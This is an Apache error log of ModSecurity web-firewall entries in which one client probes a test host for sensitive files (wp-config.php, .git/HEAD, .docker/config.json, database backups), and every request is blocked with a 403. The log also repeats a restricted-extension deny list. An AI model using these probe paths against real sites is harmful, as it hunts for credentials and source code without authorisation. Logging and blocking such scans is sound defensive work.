[Mon Jul 28 20:46:31.982366 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYPgAAAAU&quot;]
[Mon Jul 28 20:46:31.982682 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYPgAAAAU&quot;]
[Mon Jul 28 20:46:31.982859 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aIfFhw9nLjdPblA-25FYPgAAAAU&quot;]
[Mon Jul 28 20:46:32.012133 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aIfFiA9nLjdPblA-25FYPwAAAAU&quot;]
[Mon Jul 28 20:46:32.012458 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aIfFiA9nLjdPblA-25FYPwAAAAU&quot;]
[Mon Jul 28 20:46:32.012646 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aIfFiA9nLjdPblA-25FYPwAAAAU&quot;]
[Mon Jul 28 20:46:32.041827 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aIfFiA9nLjdPblA-25FYQAAAAAU&quot;]
[Mon Jul 28 20:46:32.042154 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aIfFiA9nLjdPblA-25FYQAAAAAU&quot;]
[Mon Jul 28 20:46:32.042314 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aIfFiA9nLjdPblA-25FYQAAAAAU&quot;]
[Mon Jul 28 20:46:32.639514 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj2gAAAAc&quot;]
[Mon Jul 28 20:46:32.639865 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj2gAAAAc&quot;]
[Mon Jul 28 20:46:32.640104 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj2gAAAAc&quot;]
[Mon Jul 28 20:46:32.686604 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj3AAAAAc&quot;]
[Mon Jul 28 20:46:32.686850 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj3AAAAAc&quot;]
[Mon Jul 28 20:46:32.687047 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj3AAAAAc&quot;]
[Mon Jul 28 20:46:32.830084 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj4gAAAAc&quot;]
[Mon Jul 28 20:46:32.830450 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj4gAAAAc&quot;]
[Mon Jul 28 20:46:32.830654 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj4gAAAAc&quot;]
[Mon Jul 28 20:46:32.901204 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wordpress/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj5QAAAAc&quot;]
[Mon Jul 28 20:46:32.901441 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj5QAAAAc&quot;]
[Mon Jul 28 20:46:32.901631 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj5QAAAAc&quot;]
[Mon Jul 28 20:46:32.947951 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj5wAAAAc&quot;]
[Mon Jul 28 20:46:32.948177 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj5wAAAAc&quot;]
[Mon Jul 28 20:46:32.948367 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj5wAAAAc&quot;]
[Mon Jul 28 20:46:32.970958 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj6AAAAAc&quot;]
[Mon Jul 28 20:46:32.971178 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj6AAAAAc&quot;]
[Mon Jul 28 20:46:32.971384 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj6AAAAAc&quot;]
[Mon Jul 28 20:46:32.994035 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj6QAAAAc&quot;]
[Mon Jul 28 20:46:32.994252 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj6QAAAAc&quot;]
[Mon Jul 28 20:46:32.994439 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aIfFiFcqnrybmcpdiyhj6QAAAAc&quot;]
